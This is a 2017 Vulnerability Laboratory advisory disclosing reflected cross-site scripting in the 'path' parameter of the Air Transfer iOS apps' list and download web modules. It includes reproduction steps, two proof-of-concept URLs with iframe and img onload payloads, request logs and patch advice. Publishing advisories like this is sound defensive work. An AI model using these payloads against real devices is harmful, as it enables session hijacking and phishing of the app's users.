Document Title:
===============
Air Transfer 1.2.1 & 1.0.14 iOS - Multiple XSS Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2035


Release Date:
=============
2017-02-22


Vulnerability Laboratory ID (VL-ID):
====================================
2035


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Air Transfer is a photo/movie safe that keeps all of your private pictures and videos hidden behind a password. It lets you 
upload and download files to/from your device over a wireless connection. Easy-to-use web interface, no USB cable needed.

(Copy of the Homepage: https://itunes.apple.com/de/app/air-transfer-file-transfer/id1127766528 )


Air Transfer : Wi-Fi Sync Manager lets you upload and download files (photos, videos etc) to/from your iPhone, iPad, 
Mac or PC using your local wifi network.

(Copy of the Homepage: https://itunes.apple.com/de/app/air-transfer-wi-fi-sync-file-manager/id1195756593 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple cross site scripting vulnerabilities in the 
offical Air Transfer v1.2.1 & Air Transfer v1.0.14 iOS mobile application.


Vulnerability Disclosure Timeline:
==================================
2017-02-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Hong Nguyen
Product: Air Transfer Application - (iPad & iPhone) 1.0.14

Janki Panchani
Product: Air Transfer Application - (iPad & iPhone) 1.2.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities has been discovered in the official Air Transfer v1.2.1 & 
Air Transfer v1.0.14 iOS mobile application. The vulnerability allows remote attackers to inject script codes to 
client-side application requests with non-persistent attack vector.

The client-side cross site scripting vulnerabilities are located in the `path` parameter of the `list` and `download` 
modules. Remote attackers are able to inject script code to the client-side GET method requests via download or list 
to perform a cross site scripting attack. The validation of the `path` prameter is insecure designed and allows to 
execute client-side codes within the error exception-handling. The request method to inject is GET and the attack 
vector is non-persistent.

The security risk of the xss vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) 
count of 3.2. Exploitation of the web vulnerability requires no privilege web-application user account and low or medium 
user interaction. Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, 
non-persistent external redirect to malicious sources and non-persistent manipulation of affected or connected module context.

Request Method(s):
[+] GET

Vulnerable Module(s)
[+] list
[+] download

Vulnerable Parameter(s)
[+] path

Affected Module(s)
[+] Error - Exception Handling


Proof of Concept (PoC):
=======================
The cross site scripting vulnerabilities can be exploited by remote attackers without privilege 
web-application user account and with low or medium user interaction. For security demonstration 
or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install the vulnerable ios mobile application
2. Start the wifi server
3. Connect to the wifi localhost via http protocol
4. Attach the vulnerable module and parameter with payload in a GET method request
5. Perform the request and the web-server replies with an error
6. The execution occurs in the error message
7. Successful reproduce of the cross site scripting vulnerability!


PoC: Vulnerable Source (Execution in Exception)
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>HTTP Error 404</title></head>
<body><h1>HTTP Error 404: <[CROSS SITE SCRIPTING PAYLOAD EXECUTION!]> does not exist</h1>
<h3></h3></body></html>


PoC: Exploitation
http://localhost/list?path=>"<iframe src="evil.source" onload=alert("CSXSS")>
http://localhost/download?path=>"<img src="evil.source" onload=alert("CSXSS")>


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost/list?path=%3C[CROSS SITE SCRIPTING PAYLOAD INJECT!]%3E 
Mime Type[text/html]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
   Response Header:
      Content-Length[209]
      Content-Type[text/html; charset=utf-8]
      Server[GCDWebUploader]
-
Status: 200[OK]
GET http://localhost/download?path=%3C[CROSS SITE SCRIPTING PAYLOAD INJECT!]%3E 
Mime Type[text/html]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Content-Length[184]
      Content-Type[text/html; charset=utf-8]
      Connection[Close]
      Server[GCDWebUploader]


Reference(s):
http://localhost/
http://localhost/list
http://localhost/download
http://localhost/list?path=
http://localhost/download?path=


Solution - Fix & Patch:
=======================
The security vulnerabilities can be patched by following the listed steps below ...
1. Restrict the path parameter input by disallowing tags, script codes and specialchars
2. Parse the path parameter content on transmit via list or download module
3. Parse via escape the output content in the error message of the web-server to prevent the execution point
4. Setup a mechanism to filter malicious content in the path variable to prevent further attacks


Security Risk:
==============
The security risk of the non-persistent cross site scripting vulnerabilities in the mobile applications are estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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